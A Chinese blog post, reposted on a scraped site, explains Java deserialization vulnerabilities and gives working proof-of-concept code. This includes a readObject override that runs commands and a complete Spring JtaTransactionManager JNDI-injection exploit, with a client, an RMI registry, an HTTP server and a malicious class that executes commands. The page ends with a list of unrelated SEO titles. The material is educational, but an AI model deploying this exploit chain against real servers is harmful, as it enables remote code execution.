当前位置: 首页 > news >正文

大港做网站手机怎么建自己的网站

大港做网站,手机怎么建自己的网站,佛山哪里做网站,网站公司做销售怎么样简介: 在上篇文章中,小编有详细的介绍了序列化和反序列化的玩法,以及一些常见的坑点。 但是,高端的玩家往往不会仅限于此,熟悉接口开发的同学一定知道,能将数据对象很轻松的实现多平台之间的通信、对象持久…

简介: 在上篇文章中,小编有详细的介绍了序列化和反序列化的玩法,以及一些常见的坑点。 但是,高端的玩家往往不会仅限于此,熟悉接口开发的同学一定知道,能将数据对象很轻松的实现多平台之间的通信、对象持久化存储,序列化和反序列化是一种非常有效的手段,例如如下应用场景,对象必须 100% 实现序列化。 DUBBO:对象传输必须要实现序列化 RMI:Java 的一组拥护开发分布式应用程序 API,实现了不同操作系统之间程序的方法调用,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口

一、背景

在上篇文章中,小编有详细的介绍了序列化和反序列化的玩法,以及一些常见的坑点。

但是,高端的玩家往往不会仅限于此,熟悉接口开发的同学一定知道,能将数据对象很轻松的实现多平台之间的通信、对象持久化存储,序列化和反序列化是一种非常有效的手段,例如如下应用场景,对象必须 100% 实现序列化。

  • DUBBO:对象传输必须要实现序列化
  • RMI:Java 的一组拥护开发分布式应用程序 API,实现了不同操作系统之间程序的方法调用,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口

而在反序列化的背后,却隐藏了很多不为人知的秘密!

最为出名的大概应该是:15年的 Apache Commons Collections 反序列化远程命令执行漏洞,当初影响范围包括:WebSphere、JBoss、Jenkins、WebLogic 和 OpenNMSd 等知名软件,直接在互联网行业掀起了一阵飓风。

2016 年 Spring RMI 反序列化爆出漏洞,攻击者可以通过 JtaTransactionManager 这个类,来远程执行恶意代码。

2017 年 4月15 日,Jackson 框架被发现存在一个反序列化代码执行漏洞。该漏洞存在于 Jackson 框架下的 enableDefaultTyping 方法,通过该漏洞,攻击者可以远程在服务器主机上越权执行任意代码,从而取得该网站服务器的控制权。

还有 fastjson,一款 java 编写的高性能功能非常完善的 JSON 库,应用范围非常广,在 2017 年,fastjson 官方主动爆出 fastjson 在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。

Java 十分受开发者喜爱的一点,就是其拥有完善的第三方类库,和满足各种需求的框架。但正因为很多第三方类库引用广泛,如果其中某些组件出现安全问题,或者在数据校验入口就没有把关好,那么受影响范围将极为广泛的,以上爆出的漏洞,可能只是星辰大海中的一束花。

那么问题来了,攻击者是如何精心构造反序列化对象并执行恶意代码的呢?

二、漏洞分析

2.1、漏洞基本原理

我们先看一段代码如下:

public class DemoSerializable {public static void main(String[] args) throws Exception {//定义myObj对象MyObject myObj = new MyObject();myObj.name = "hello world";//创建一个包含对象进行反序列化信息的”object”数据文件FileOutputStream fos = new FileOutputStream("object");ObjectOutputStream os = new ObjectOutputStream(fos);//writeObject()方法将myObj对象写入object文件os.writeObject(myObj);os.close();//从文件中反序列化obj对象FileInputStream fis = new FileInputStream("object");ObjectInputStream ois = new ObjectInputStream(fis);//恢复对象MyObject objectFromDisk = (MyObject)ois.readObject();System.out.println(objectFromDisk.name);ois.close();}
}
class MyObject implements Serializable {/*** 任意属性*/public String name;//重写readObject()方法private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{//执行默认的readObject()方法in.defaultReadObject();//执行指定程序Runtime.getRuntime().exec("open https://www.baidu.com/");}
}

运行程序之后,控制台会输出hello world,同时也会打开网页跳转到百度一下,你就知道

从这段逻辑中分析,我们可以很清晰的看到反序列化已经成功了,但是程序又偷偷的执行了一段如下代码。

Runtime.getRuntime().exec("open https://www.baidu.com/");

我们可以再把这段代码改造一下,内容如下:

//mac系统,执行打开计算器程序命令
Runtime.getRuntime().exec("open /Applications/Calculator.app/");
//windows系统,执行打开计算器程序命令
Runtime.getRuntime().exec("calc.exe");

运行程序后,可以很轻松的打开电脑中已有的任意程序。

很多人可能不知道,这里的readObject()是可以重写的,只是Serializable接口没有显示的把它展示出来,readObject()方法的作用是从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回,以定制反序列化的一些行为。

可能有的同学会说,实际开发过程中,不会有人这么去重写readObject()方法,当然不会,但是实际情况也不会太差。

2.2、Spring 框架的反序列化漏洞

以当时的 Spring 框架爆出的反序列化漏洞为例,请看当时的示例代码。

首先创建一个 server 代码:

public class ExploitableServer {public static void main(String[] args) {try {//创建socketServerSocket serverSocket = new ServerSocket(Integer.parseInt("9999"));System.out.println("Server started on port "+serverSocket.getLocalPort());while(true) {//等待链接Socket socket=serverSocket.accept();System.out.println("Connection received from "+socket.getInetAddress());ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());try {//读取对象Object object = objectInputStream.readObject();System.out.println("Read object "+object);} catch(Exception e) {System.out.println("Exception caught while reading object");e.printStackTrace();}}} catch(Exception e) {e.printStackTrace();}}
}

然后创建一个 client 代码:

public class ExploitClient {public static void main(String[] args) {try {String serverAddress = "127.0.0.1";int port = Integer.parseInt("1234");String localAddress= "127.0.0.1";System.out.println("Starting HTTP server");   //开启8080端口服务HttpServer httpServer = HttpServer.create(new InetSocketAddress(8080), 0);httpServer.createContext("/",new HttpFileHandler());httpServer.setExecutor(null);httpServer.start();System.out.println("Creating RMI Registry"); //绑定RMI服务到 1099端口 Object  提供恶意类的RMI服务Registry registry = LocateRegistry.createRegistry(1099);/*java为了将object对象存储在Naming或者Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming和Directory服务下,比如(rmi,ldap等)。在使用Reference的时候,我们可以直接把对象写在构造方法中,当被调用的时候,对象的方法就会被触发。理解了jndi和jndi reference后,就可以理解jndi注入产生的原因了。*/ //绑定本地的恶意类到1099端口Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+":8080"+"/");ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);registry.bind("Object", referenceWrapper);System.out.println("Connecting to server "+serverAddress+":"+port); //连接服务器1234端口Socket socket=new Socket(serverAddress,port);System.out.println("Connected to server");String jndiAddress = "rmi://"+localAddress+":1099/Object";//JtaTransactionManager 反序列化时的readObject方法存在问题 //使得setUserTransactionName可控,远程加载恶意类//lookup方法会实例化恶意类,导致执行恶意类无参的构造方法org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();object.setUserTransactionName(jndiAddress);//上面就是poc,下面是将object序列化发送给服务器,服务器访问恶意类System.out.println("Sending object to server...");ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());objectOutputStream.writeObject(object);objectOutputStream.flush();while(true) {Thread.sleep(1000);}} catch(Exception e) {e.printStackTrace();}}
}

最后,创建一个ExportObject需要远程下载的类:

public class ExportObject {public static String exec(String cmd) throws Exception {String sb = "";BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String lineStr;while ((lineStr = inBr.readLine()) != null)sb += lineStr + "\n";inBr.close();in.close();return sb;}public ExportObject() throws Exception {String cmd="open /Applications/Calculator.app/";throw new Exception(exec(cmd));}
}

http://www.lbrq.cn/news/2771803.html

相关文章:

  • 益阳网站建设公司电话公司如何做网络推广营销
  • 大连做网站的科技公司网络推广员压力大吗
  • 一个服务器放多少网站seo企业优化顾问
  • 如何做wap网站西宁网站seo
  • 网站设计 图片重庆网站seo建设哪家好
  • 仙桃做网站找谁域名流量查询工具
  • 中国矿山建设网站淘宝seo优化怎么做
  • 网站论坛做斑竹自己创建个人免费网站
  • 武汉网站制作模板百度app客服电话
  • 中国贸易服务网seo自动刷外链工具
  • wordpress隐藏内容破解成都网站优化seo
  • 找做网站签证西安seo网站建设
  • 网页设计课程期末总结怎么分析一个网站seo
  • 如何看网站点击量全网营销思路
  • 美国cms是什么机构杭州排名优化软件
  • 做网页收集素材常用的网站有哪些新媒体营销策略有哪些
  • 网站的验证码是怎么做的效果好的关键词如何优化
  • 自己做视频类网站用哪个cms营销咨询
  • 做网站用新域名还是老域名东莞seo
  • 做本地旅游网站关键词怎么做快速的有排名
  • 长安网站制作公司googleplay官网
  • wordpress 双侧边栏班级优化大师官网
  • 苏州建站免费模板seo关键词优化推广哪家好
  • 广州网站建设开发石家庄seo按天扣费
  • 做平台的网站有哪些内容吗广告代运营
  • wordpress 站点标题北京网站优化步
  • 手机搭建网站教程视频教程阜新网站seo
  • 台州关键词优化哪家好seo设置是什么
  • 青浦网站设计网络营销方式
  • 无锡网站建设365caiyi制作网站需要什么软件
  • 算法——快速幂
  • 决策树1.1
  • 第4章 React状态管理基础
  • JVM垃圾回收(GC)深度解析:原理、调优与问题排查
  • F003疫情传染病数据可视化vue+flask+mysql
  • Leetcode 343. 整数拆分 动态规划